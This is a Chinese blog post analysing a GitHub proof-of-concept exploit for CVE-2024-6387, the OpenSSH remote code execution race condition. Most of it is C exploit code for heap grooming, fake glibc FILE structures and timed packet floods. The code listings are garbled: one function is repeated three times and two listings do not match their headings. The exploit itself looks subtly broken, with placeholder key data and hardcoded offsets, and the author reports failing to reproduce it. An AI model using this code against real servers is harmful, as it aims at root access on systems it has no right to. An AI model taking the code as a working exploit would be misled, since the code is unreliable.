CVE-2024-6387-OpenSSH远程代码执行

admin 2024年7月3日10:50:52评论42 views字数 7988阅读26分37秒阅读模式

昨天发现OpenSSH居然出了远程命令执行的漏洞(网传核弹漏洞),心想那不得通杀互联网上的大部分linux,几乎都用的OpenSSH,这不得找来研究研究。

Poc

在github上找到的Poc,代码详情就不放上来了,自己去github看吧,经过分析没有后门,主要分析一下其中重要部分吧。 代码利用方式:通过利用OpenSSH服务器中信号处理程序的竞争条件漏洞,尝试在目标系统上以root权限执行远程代码。

主要函数实现:

  1. setup_connection:设置与目标服务器的连接。 建立与目标服务器的连接。它创建一个套接字,通过给定的IP和端口连接到服务器,并将套接字设置为非阻塞模式。如果任何一步失败,它会打印错误信息并返回-1
int setup_connection (const char *ip, int port)
{
  int sock = socket (AF_INET, SOCK_STREAM, 0);
  if (sock < 0)
    {
      perror ("socket");
      return -1;
    }

  struct sockaddr_in server_addr;
  memset (&server_addr, 0, sizeof (server_addr));
  server_addr.sin_family = AF_INET;
  server_addr.sin_port = htons (port);
  if (inet_pton (AF_INET, ip, &server_addr.sin_addr) <= 0)
    {
      perror ("inet_pton");
      close (sock);
      return -1;
    }

  if (connect (sock, (struct sockaddr *)&server_addr, sizeof (server_addr)) < 0)
    {
      perror ("connect");
      close (sock);
      return -1;
    }

  int flags = fcntl (sock, F_GETFL, 0);
  fcntl (sock, F_SETFL, flags | O_NONBLOCK);

  return sock;
}

  1. send_packet:发送SSH数据包。 构造并发送一个SSH数据包。数据包的格式包括长度字段、包类型和数据内容。如果发送失败,打印错误信息
void send_packet (int sock, unsigned char packet_type, const unsigned char *data, size_t len)
{
  unsigned char packet[MAX_PACKET_SIZE];
  size_t packet_len = len + 5;

  packet[0] = (packet_len >> 24) & 0xFF;
  packet[1] = (packet_len >> 16) & 0xFF;
  packet[2] = (packet_len >> 8) & 0xFF;
  packet[3] = packet_len & 0xFF;
  packet[4] = packet_type;

  memcpy (packet + 5, data, len);

  if (send (sock, packet, packet_len, 0) < 0)
    {
      perror ("send_packet");
    }
}

  1. send_ssh_versionreceive_ssh_version:发送和接收SSH版本信息。 send_ssh_version函数发送SSH版本字符串到目标服务器,而receive_ssh_version函数接收并打印从服务器发送的版本字符串
void prepare_heap (int sock)
{
  for (int i = 0; i < 10; i++)
    {
      unsigned char tcache_chunk[64];
      memset (tcache_chunk, 'A', sizeof (tcache_chunk));
      send_packet (sock, 5, tcache_chunk, sizeof (tcache_chunk));
    }

  for (int i = 0; i < 27; i++)
    {
      unsigned char large_hole[8192];
      memset (large_hole, 'B', sizeof (large_hole));
      send_packet (sock, 5, large_hole, sizeof (large_hole));

      unsigned char small_hole[320];
      memset (small_hole, 'C', sizeof (small_hole));
      send_packet (sock, 5, small_hole, sizeof (small_hole));
    }

  for (int i = 0; i < 27; i++)
    {
      unsigned char fake_data[4096];
      create_fake_file_structure (fake_data, sizeof (fake_data), GLIBC_BASES[0]);
      send_packet (sock, 5, fake_data, sizeof (fake_data));
    }

  unsigned char large_string[MAX_PACKET_SIZE - 1];
  memset (large_string, 'E', sizeof (large_string));
  send_packet (sock, 5, large_string, sizeof (large_string));
}

  1. send_kex_initreceive_kex_init:发送和接收密钥交换初始化包。 send_kex_init函数发送一个密钥交换初始化包(SSH_MSG_KEXINIT)到服务器,而receive_kex_init函数接收并验证服务器的响应
int attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base)
{
  unsigned char pub_key_packet[MAX_PACKET_SIZE];
  create_public_key_packet (pub_key_packet, sizeof (pub_key_packet), glibc_base);

  struct timespec req = { 0, (long)((parsing_time - 1.0) * 1e9) };
  nanosleep (&req, NULL);

  for (int i = 0; i < 1000; i++)
    {
      send_packet (sock, 21, pub_key_packet, sizeof (pub_key_packet));
    }

  unsigned char response[MAX_PACKET_SIZE];
  ssize_t n = recv (sock, response, sizeof (response), 0);
  if (n > 0 && response[0] == 52)
    {
      printf ("Received unexpected SSH_MSG_USERAUTH_SUCCESS packet!n");
      return 1;
    }

  return 0;
}

  1. perform_ssh_handshake:执行SSH握手。 执行一个完整的SSH握手流程,包括发送和接收版本信息、发送和接收密钥交换初始化包。如果任何一步失败,则返回-1
void prepare_heap(int sock)
{
    for (int i = 0; i < 10; i++)
    {
        unsigned char tcache_chunk[64];
        memset(tcache_chunk, 'A', sizeof(tcache_chunk));
        send_packet(sock, 5, tcache_chunk, sizeof(tcache_chunk));
    }

    for (int i = 0; i < 27; i++)
    {
        unsigned char large_hole[8192];
        memset(large_hole, 'B', sizeof(large_hole));
        send_packet(sock, 5, large_hole, sizeof(large_hole));

        unsigned char small_hole[320];
        memset(small_hole, 'C', sizeof(small_hole));
        send_packet(sock, 5, small_hole, sizeof(small_hole));
    }

    for (int i = 0; i < 27; i++)
    {
        unsigned char fake_data[4096];
        create_fake_file_structure(fake_data, sizeof(fake_data), GLIBC_BASES[0]);
        send_packet(sock, 5, fake_data, sizeof(fake_data));
    }

    unsigned char large_string[MAX_PACKET_SIZE - 1];
    memset(large_string, 'E', sizeof(large_string));
    send_packet(sock, 5, large_string, sizeof(large_string));
}

  1. prepare_heap:准备堆布局,为漏洞利用创建合适的堆状态。 通过发送特定大小的数据包来准备堆布局,试图为漏洞利用创建合适的堆状态
void prepare_heap(int sock)
{
    for (int i = 0; i < 10; i++)
    {
        unsigned char tcache_chunk[64];
        memset(tcache_chunk, 'A', sizeof(tcache_chunk));
        send_packet(sock, 5, tcache_chunk, sizeof(tcache_chunk));
    }

    for (int i = 0; i < 27; i++)
    {
        unsigned char large_hole[8192];
        memset(large_hole, 'B', sizeof(large_hole));
        send_packet(sock, 5, large_hole, sizeof(large_hole));

        unsigned char small_hole[320];
        memset(small_hole, 'C', sizeof(small_hole));
        send_packet(sock, 5, small_hole, sizeof(small_hole));
    }

    for (int i = 0; i < 27; i++)
    {
        unsigned char fake_data[4096];
        create_fake_file_structure(fake_data, sizeof(fake_data), GLIBC_BASES[0]);
        send_packet(sock, 5, fake_data, sizeof(fake_data));
    }

    unsigned char large_string[MAX_PACKET_SIZE - 1];
    memset(large_string, 'E', sizeof(large_string));
    send_packet(sock, 5, large_string, sizeof(large_string));
}

  1. create_fake_file_structure:创建伪造的文件结构体。 创建一个伪造的文件结构体,试图利用堆溢出漏洞将控制流劫持到目标地址
void create_fake_file_structure(unsigned char *data, size_t size, uint64_t glibc_base)
{
    memset(data, 0, size);
    uint64_t *ptr = (uint64_t *)(data + CHUNK_ALIGN(0x180));
    ptr[0] = glibc_base + 0x3c4b78; // &_IO_list_all
    ptr[1] = glibc_base + 0x3c67a0; // &system
}

  1. time_final_packetmeasure_response_time:测量响应时间,精确调整最后一个数据包的发送时机。 time_final_packet函数发送一个特定的包并测量其响应时间,以确定合适的时机进行攻击。measure_response_time函数实际执行响应时间的测量
void time_final_packet(int sock, double *parsing_time)
{
    unsigned char timing_packet[MAX_PACKET_SIZE];
    memset(timing_packet, 'D', sizeof(timing_packet));
    send_packet(sock, 5, timing_packet, sizeof(timing_packet));

    *parsing_time = measure_response_time(sock, 5);
}

double measure_response_time(int sock, int error_type)
{
    struct timespec start, end;
    clock_gettime(CLOCK_MONOTONIC, &start);

    unsigned char response[MAX_PACKET_SIZE];
    ssize_t n = recv(sock, response, sizeof(response), 0);
    if (n <= 0 || response[0] != error_type)
    {
        return -1.0;
    }

    clock_gettime(CLOCK_MONOTONIC, &end);
    return (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1e9;
}

  1. create_public_key_packet:创建公共密钥包。 创建一个公共密钥包,用于触发漏洞利用
void create_public_key_packet(unsigned char *packet, size_t size, uint64_t glibc_base)
{
    memset(packet, 0, size);
    packet[4] = 21; // SSH_MSG_USERAUTH_PK_OK
    memcpy(packet + 5, "fake-key-data", 13);
}

  1. attempt_race_condition:尝试利用竞争条件漏洞。 漏洞主要部分,尝试利用竞争条件漏洞。它创建一个公共密钥包,并在特定的时间点发送大量此类包,以试图触发漏洞。如果成功接收到意外的SSH_MSG_USERAUTH_SUCCESS包,则表示漏洞利用成功
int attempt_race_condition(int sock, double parsing_time, uint64_t glibc_base)
{
    unsigned char pub_key_packet[MAX_PACKET_SIZE];
    create_public_key_packet(pub_key_packet, sizeof(pub_key_packet), glibc_base);

    struct timespec req = { 0, (long)((parsing_time - 1.0) * 1e9) };
    nanosleep(&req, NULL);

    for (int i = 0; i < 1000; i++)
    {
        send_packet(sock, 21, pub_key_packet, sizeof(pub_key_packet));
    }

    unsigned char response[MAX_PACKET_SIZE];
    ssize_t n = recv(sock, response, sizeof(response), 0);
    if (n > 0 && response[0] == 52)
    {
        printf("Received unexpected SSH_MSG_USERAUTH_SUCCESS packet!n");
        return 1;
    }

    return 0;
}

漏洞复现

很遗憾,我并未复现成功,从OpenSSH < 4.4p1 或 8.5p1 <= OpenSSH < 9.8p1 的版本中多个版本都进行了复现,但是都没能成功。由于对漏洞涉及系统层面了,技术不足,无法具体分析原因。 在网上找了一圈,也没看见有真正成功复现的。

CVE-2024-6387-OpenSSH远程代码执行

报告说是在32位系统下,并且用了6-8小时才成功,64位难度更大。。。。。 就冲这利用难度,用处太局限了。若哪天我成功复现了,再补上复现的内容吧

{{< align center "文笔垃圾,技术欠缺,欢迎各位师傅请斧正,非常感谢!" >}}

原文始发于微信公众号(T0ngMystic工作站):CVE-2024-6387-OpenSSH远程代码执行

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月3日10:50:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-6387-OpenSSH远程代码执行https://cn-sec.com/archives/2912960.html

发表评论

匿名网友 填写信息